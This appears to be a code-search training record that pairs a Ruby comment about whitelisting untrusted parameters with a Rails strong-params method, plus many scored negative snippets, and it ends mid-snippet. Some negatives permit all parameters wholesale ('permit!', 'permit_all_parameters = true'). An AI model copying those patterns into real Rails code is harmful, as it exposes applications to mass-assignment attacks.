[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def session_event_params params.require(:session_event).permit(:behavior_square_id, :square_press_time, :duration_end_time, :session_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
test "should be able to view next steps cartridge page" do with_testable_app(true) get :next_steps, get_post_form assert_response :success assert_template :next_steps end
def get_post_form {:cartridge => {:name => 'mysql-5.1', :type => 'embedded'}, :application_id => with_testable_app.id, :domain_id => @domain.id} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def test_reviewer_home\n\n post('index', {}, {})\n assert_response(:success)\n assert_template('tracker/index')\n \n post('index', {}, lee_hweng_session)\n assert_response(:success)\n assert_template('tracker/reviewer_home')\n\n #follow_redirect\n #assert_no_tag :content => \"POST Placement Review\"\n\n end", "def test_index \n post :index \n assert_response :success \n end", "def test_should_flag_ON_INIT_PAGE_NEXT_when_clicking_next_on_valid_init_page\n post :init, :user=>{:first_name=>field_first_name, :last_name=>field_last_name}, :commit=>:next\n #assert_redirected_to :action=>second_page\n assert assigns['on_init_page_next']\n end", "def test_how_it_works \n get :how_it_works\n assert_response :success\n assert_template 'how_it_works'\n end", "def test_basic_pages\n %w{ free lite hardcore ultimate }.each do |page|\n get page\n assert_response :success\n end\n end", "def XXX_deleted_20150502_test_homepage_is_claim_page_for_now\n get '/'\n assert last_response.ok?\n assert_match /claim your prize/, last_response.body\nend", "def test_index \n get :index \n assert_response :success \n end", "def test_index \n get :index\n assert_response :success\n assert_template 'index'\n end", "def test_index \n get :index\n assert_response :success\n assert_template 'index'\n end", "def test_index\n get :index\n assert_response :success\n end", "def test_index\n get :index\n assert_response :success\n end", "def test_designer_home\n\n post('index', {}, {})\n assert_response(:success)\n assert_template('tracker/index')\n\n post('index', {}, bob_designer_session)\n assert_response(:success)\n assert_template('tracker/designer_home')\n\n end", "def test_show_cart\n get :show_cart\n assert_response :success\n end", "def test_index\n assert_response 200\n end", "def test_index\n get '/'\n assert last_response.ok?\n end", "def test_contradictory\n make_controller :contradictory\n get :index\n assert_response :success\n get :secret_ferret_brigade\n assert_response :success\n end", "def test_get_checkout\n test_add_to_cart_success()\n \n get :checkout\n assert_response :success\n assert_template 'checkout'\n assert_layout 'checkout'\n assert_equal \"Please enter your information to continue this purchase.\", assigns(:title)\n assert_not_nil assigns(:cc_processor)\n end", "def test_login_controls\n get :login_controls\n assert_response :success\n assert_nil session[:user]\n end", "def test_app\n get '/'\n assert last_response.ok?\n assert_equal 200, last_response.status\n end", "def test_get_index\n get :index\n assert_response :success\n end", "def test_make_sure_the_testing_structure_works\n make_controller :mock\n get :index\n assert_response :success\n get :secret_ferret_brigade\n assert_response :success\n end", "def test_home_page_redirects\n \n post('admin_home', {}, {})\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n \n post('reviewer_home', {}, {})\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n \n post('manager_home', {}, {})\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n \n post('pcb_admin_home', {}, {})\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n \n post('designer_home', {}, {})\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n \n end", "def test_checkout_postcheckout_show \n customer = setup_customer()\n get :index\n session[:customer_id] = customer.id\n session[:timestamp] = Time.now.to_i\n post :add_set, :id => 1\n post :checkout, :credit_card => { :number => '4111111111111111', :month => 12, :year => 2020 }, :terms_and_conditions => true\n assert_redirected_to :controller => :cart, :action => 'order_success'\n\n # put some things in the customer's cart, and mark them as saved for later\n add_to_customer_cart_save_for_later(products(:product1))\n add_to_customer_cart_save_for_later(products(:product2))\n add_to_customer_cart_save_for_later(products(:product6))\n add_to_customer_cart_save_for_later(products(:product7))\n\n\n def first()\n # order success - the first two recos\n get :order_success\n assert_response :success\n assert_not_nil assigns['upsell_products']\n assert_not_nil assigns['upsell_products'][0]\n assert_not_nil assigns['upsell_products'][1]\n assert_equal products(:product1), assigns['upsell_products'][0]\n assert_equal products(:product2), assigns['upsell_products'][1]\n end\n\n def second()\n # post checkout page 2 - the next two recos\n get :postcheckout_show, :page => 2 \n assert_response :success\n assert_not_nil assigns['upsell_products']\n assert_not_nil assigns['upsell_products'][0]\n assert_not_nil assigns['upsell_products'][1]\n assert_equal products(:product6), assigns['upsell_products'][0]\n assert_equal products(:product7), assigns['upsell_products'][1]\n end\n\n first()\n second()\n first()\n second()\n\n end", "def test_offers\r\n get :offers, :id => 5072\r\n assert_response 301\r\n assert_redirected_to '/Ear-Force-X2-Wireless-Headphones-for-Xbox-reviews'\r\n end", "def test_should_get_new\n get :new\n assert_response :success\n assert_template \"new\"\n assert_select \"h1\", \"New post\"\n assert_select \"form\" do\n assert_select(\"input[type=text][id=post_title]\")\n assert_select(\"textarea[id=post_body]\")\n assert_select(\"input[type=checkbox][id=post_published]\")\n assert_select(\"input[type=submit][id=post_submit][value=Create]\")\n end\n end", "def test_should_show_index\n login_as :admin\n\n get :index\n assert_response :success\n assert_template 'list'\n end", "def test_all \n get :all\n assert_response :success\n assert_template 'all'\n\n\n end", "def test_page_security\n # A public page\n get '/home'\n assert_response :success\n # An administrator page\n get '/admin'\n assert_redirected_to_login\n\n form_login('admin', 'admin')\n \n get '/admin'\n assert_response :success\n end", "def test_index\n get :index\n \n assert_redirected_to :action => :unread\n end", "def test_pending_request\n get '/goldberg/users/list'\n assert_redirected_to_login\n\n form_login('admin', 'admin')\n assert_match /goldberg\\/users\\/list/, response.redirected_to\n end", "def test_valley_smoketest\n @driver.get(@base_url)\n verify_home_page()\n verify_services_page()\n verify_about_page()\n verify_contact_page()\n verify_faq_page()\n verify_links_page()\n end", "def test_should_index_redirect_to_list\n get :index\n assert_redirected_to :action=>'list'\n end", "def test_valid_fields\n\t page = pages(:valid_page)\n\t assert page.valid?\n\tend", "def test_login_page\n get :login\n title = assigns(:title)\n\n assert_equal \"Login Page\", title\n assert_response :success\n assert_template \"login\"\n assert_form_tag \"/user/login\"\n assert_screen_name_field\n assert_password_field\n assert_tag \"input\", :attributes => { :name => \"user[remember_me]\",\n :type => \"checkbox\"\n }\n assert_submit_button \"Login!\"\n end", "def test_login\n get \"my/page\"\n assert_redirected_to \"account/login\"\n log_user('jsmith', 'jsmith')\n \n get \"my/account\"\n assert_response :success\n assert_template \"my/account\" \n end", "def visit_questionnaire_submission_page questionnaire\n visit submission_questionnaire_path(questionnaire)\n\n assert page.has_content?(questionnaire.questionnaire_fields.first.title)\n assert page.has_content?(\"Submit questionnaire\")\nend", "def test_steps; end", "def test_steps; end", "def test_request\n get \"/example/route\"\n assert last_response.ok?\n body = last_response.body\n assert body[\"Hello\"]\n end", "def test_your_words\n get '/catspajamas'\n assert last_response.ok?\n assert_includes last_response.body, \"cats, pajamas\"\n end", "def test_application_running\n get '/v1/main'\n assert last_response.ok?\n assert last_response.body.include?('Hello world')\n end", "def test_root\n\t\tget \"/\"\n\t\tassert_equal 200, last_response.status\n \tassert last_response.ok?\n\tend", "def test_show\n #login_as(:john)\n #get :show, :id => @first_id\n\n #assert_response :success\n #assert_template 'show'\n\n #assert_not_nil assigns(:taverna_enactor)\n #assert assigns(:taverna_enactor).valid?\n \n assert true\n end", "def test_create_observation\n requires_login(:create_observation)\n assert_form_action(:action => 'create_observation', :approved_name => '')\n end", "def test_create_observation\n requires_login(:create_observation)\n assert_form_action(:action => 'create_observation', :approved_name => '')\n end", "def test_index_should_redirect_to_list\n get :index\n assert_redirected_to :action=>'list'\n end", "def test_login_new_wiki\n password = 'new_wiki_password'\n setup_host('new.maxwiki.com')\n \n post url_for(:controller => 'admin', :action => 'create_wiki',\n #'wiki[name]' => 'maxwiki', \n 'wiki[description]' => 'MaxWiki New', \n 'email' => 'test@test.com', 'theme' => 'maxwiki', \n 'password' => password, 'password_confirmation' => password)\n assert_no_errors\n assert_redirected_to url_for(:controller => 'user', :action => 'login')\n \n login_integrated('admin', password)\n assert_no_errors\n assert_redirected_to url_for(:controller => 'wiki', :action => 'show', :link => 'welcome')\n end", "def test_index\n get :index\n assert_response :success\n ## должен прийти флеш\n assert_tag :tag=>'object'\n end", "def test_homepage\n\t\tget '/'\n\t\tassert last_response.ok?,\n\t\t\t\"Homepage loaded without an error.\"\n\t\tassert last_response.body.include?('Please leave me a message below!'),\n\t\t\t\"Expected text present.\"\n\tend", "def test_login_no_data\n get 'index'\n assert assigns['question']\n assert_response :success\n assert flash['answer']\n end", "def test_new\n login(\"rolf\")\n get(:new)\n assert_select(\n \"form[action='#{herbaria_path}'][method='post']\", { count: 1 },\n \"'new' action should render a form that posts to #{herbaria_path}\"\n )\n end", "def test_should_get_sitemap\n get :index\n assert_response :success\n end", "def test_readme\n get '/readme'\n assert last_response.body.include?('this is my readme')\n end", "def test_login\n get \"my/page\"\n assert_redirected_to \"/login?back_url=http%3A%2F%2Fwww.example.com%2Fmy%2Fpage\"\n log_user('jsmith', 'jsmith')\n\n get \"my/account\"\n assert_response :success\n assert_template \"my/account\"\n end", "def test_should_get_edit\n login_as(:john)\n get :edit, :id => 1\n assert_response :redirect\n end", "def test_should_get_edit\n login_as(:john)\n get :edit, :id => 1\n assert_response :redirect\n end", "def happyTest(request)\n visit root_path\n submitServiceRequestPage (request)\n selectStudyPage(request)\n selectDatesAndArmsPage(request)\n serviceCalendarPage(request)\n documentsPage\n reviewPage(request)\n submissionConfirmationPage\n goToSparcProper\n\n if request.otfServices.length!=0 then \n adminPortal(request.study, request.otfServices[0]) \n end\n\n if request.ppServices.length!=0 then \n adminPortal(request.study, request.ppServices[0]) \n clinicalWorkFulfillment(request.study, request.ppServices[0])\n end\n\n userPortal(request)\n end", "def test_should_get_index \n get :index\n assert_response :success #making sure the request was successful\n assert_not_nil (:products) # ensuring that it assigns a valid products instance variable.\n end", "def test_grader_that_has_active_report_cant_take_on_another_report\n login_as :sean\n post :auto_assign\n assert_redirected_to :controller => :home, :action=>:index\n end", "def test_index\n get :index\n assert_response :success\n assert assigns(:for_hires)\n assert_template 'index'\n end", "def test_checkout_visa \n get :index\n session[:customer_id] = 1\n get_customer_cart.empty!\n\n session[:timestamp] = Time.now.to_i\n post :add_set, :id => 1\n assert_redirected_to :controller => :cart, :action => ''\n assert_equal(2, Customer.find(1).orders.size)\n post :checkout, :credit_card => { :number => '4111111111111111', :month => 12, :year => 2020 }, :terms_and_conditions => true\n assert_redirected_to :controller => :cart, :action => 'order_success'\n orders = Customer.find(1).orders\n assert_equal(3, orders.size)\n assert_equal(2, orders.first.line_items.size)\n assert_equal(5, orders.first.line_items.first.product.id)\n assert_equal(4, orders.first.line_items.last.product.id)\n assert_equal(\"Credit Card (Visa) XXXX-XXXX-XXXX-1111\", orders.first.payments.last.payment_method)\n assert_equal(BigDecimal('23.98'), orders.first.payments.last.amount)\n assert_equal('smartflix.com', orders.first.server_name)\n end", "def test_url_generation\n page = new_page()\n assert_equal page.url, '/test'\n end", "def test_action_security\n # A public action\n get '/goldberg/auth/login'\n assert_response :success\n # An administrator action\n get '/goldberg/users/list'\n assert_redirected_to_login\n\n form_login('admin', 'admin')\n\n get '/goldberg/users/list'\n assert_response :success\n end", "def test_success_scenario\n assert last_response.ok?\n end", "def test_show_add\n xhr :get, :show_add, :contract_id => @contract.id\n \n assert_template 'assignment/_assignment_form'\n end", "def test_the_application_can_create_an_item\n # Send a POST request to '/items' endpoint that creates a new item\n # with a title of 'Learn to test controllers' and a description 'This is great'\n # Assert that the controller responds with a status of 200\n # Assert that the controller responds with a body of 'Item created'\n # Assert that the ToDo table has an item in it\n end", "def test_02dashboard\n expectedUrl=\"https://opensource-demo.orangehrmlive.com/index.php/dashboard\"\n assert_equal(expectedUrl, $objLoginPage.getUrl, \"Incorrect URL\")\n puts \"Dashboard test pass\" \n end", "def test_guest_access_to_userland_gives_login_screen\n get '/in/index'\n assert last_response.redirect?\n follow_redirect!\n\n assert last_request.url.ends_with?(\"/login\")\n assert last_response.ok?\n assert last_response.body.include?('Login to continue') \n end", "def test_rwiki_list\n get '/wiki/list'\n assert last_response.ok?\n end", "def test_redirect\n get :index\n assert_redirected_to :action => \"login\", :controller => \"main\"\n assert_not_equal \"\", flash[:login_notice]\n end", "def test_registering\r\n Patron.delete_all\r\n get 'welcome/index'\r\n assert_response :success\r\n assert_template 'index'\r\n get 'login/register'\r\n assert_response :success\r\n assert_template 'register'\r\n post_via_redirect 'login/register',\r\n :patron => {\r\n :username => \"test_dave\",\r\n :email => \"david@test_dave.com\",\r\n :email_confirmation => \"david@test_dave.com\"\r\n } \r\n assert_response :success\r\n post_via_redirect 'login/login',\r\n { :username => 'david',\r\n :password => 'secret '}\r\n assert_response :success\r\n end", "def test_overly_specific\n make_controller :overly_specific\n get :index\n assert_response :success\n get :secret_ferret_brigade\n assert_protected\n end", "def test_post_login\n\t\tpost \"/login\"\n\t\tassert_equal 200, last_response.status\n\tend", "def test_should_get_edit\n get :edit, :id => 107\n assert_response :success\n end", "def test_step; end", "def test_that_edit_requires_login\n assert_requires_login do |proxy|\n proxy.get :edit, :user_id => 11, :id => 1\n end\n end", "def test_update_page\n file = Configuration.TEST_PAGE\n file2 = Configuration.OTHER_TEST_PAGE\n \n # This test depends on a succesfull login\n if test_correct_login\n token = make_login Configuration.USER, Configuration.PASSWORD\n else\n return false\n end\n \n page_key = 'page-test-' + random_string(Configuration.PAGE_KEY_RS_SIZE)\n \n # This test also depends on a succesfull page creation\n if test_create_page\n post_page file, token, page_key, 'test-tag', 'This is a Test Page'\n else\n return false\n end\n \n res = post_page file2, token, page_key, 'test-tag-2', 'This is a Test Page 2'\n puts \"\\nTester#test_update_page:\\n#{res}\" if Configuration.VERBOSE \n res == Constants.SUCCESS_MESSAGE\n end", "def test_next_song\n \n \n assert true\n end", "def test_09\n assert_equal(\"second#index@frontend\\n\", Alfa::WebApplication.call({'PATH_INFO'=>'/second'})[2].join)\n assert_equal(\"second#index@admin\\n\", Alfa::WebApplication.call({'PATH_INFO'=>'/admin/second'})[2].join)\n end", "def test_checkout_token \n token = OnepageAuthToken.create_token(Customer.find(1), 3, :controller => 'cart', :action => 'checkout')\n get :add_set, :id => 1, :token => token\n assert_redirected_to :controller => :cart, :action => 'checkout', :token => token\n assert_equal(2, Customer.find(1).orders.size)\n post :checkout, :credit_card => { :number => '4111111111111111', :month => 12, :year => 2020 },\n :terms_and_conditions => true, :token => token\n assert_redirected_to :controller => :cart, :action => 'order_success'\n orders = Customer.find(1).orders\n assert_equal(3, orders.size)\n assert_equal(2, orders.first.line_items.size)\n assert_equal(5, orders.first.line_items.first.product.id)\n assert_equal(4, orders.first.line_items.last.product.id)\n assert_equal(\"Credit Card (Visa) XXXX-XXXX-XXXX-1111\", orders.first.payments.last.payment_method)\n assert_equal(BigDecimal('23.98'), orders.first.payments.last.amount)\n end", "def test_should_get_index\n get :index\n assert_response :success\n assert assigns(:doctors)\n end", "def test_view_user_account\n get :view\n assert_response :not_found\n \n get :view, {:display_name => \"test\"}\n assert_response :success\n end", "def post\n j :pass\nlabel :fail\n RVTEST_FAIL()\nlabel :pass\n RVTEST_PASS()\n RVTEST_CODE_END()\n end", "def test_edit\n #login_as(:john)\n #get :edit, :id => @first_id\n\n #assert_response :success\n #assert_template 'edit'\n\n #assert_not_nil assigns(:taverna_enactor)\n #assert assigns(:taverna_enactor).valid?\n \n assert true\n end", "def test_new_admin_session\n get :new, :locale => 'en'\n assert_response :success\n end", "def test_list\n\n # Try editing from a non-Admin account.\n # VERIFY: The user is redirected.\n get(:list, {}, rich_designer_session)\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n assert_equal(Pcbtr::MESSAGES[:admin_only], flash['notice'])\n\n # Try listing from an Admin account\n # VERIFY: The platform list data is retrieved\n post(:list, { :page => 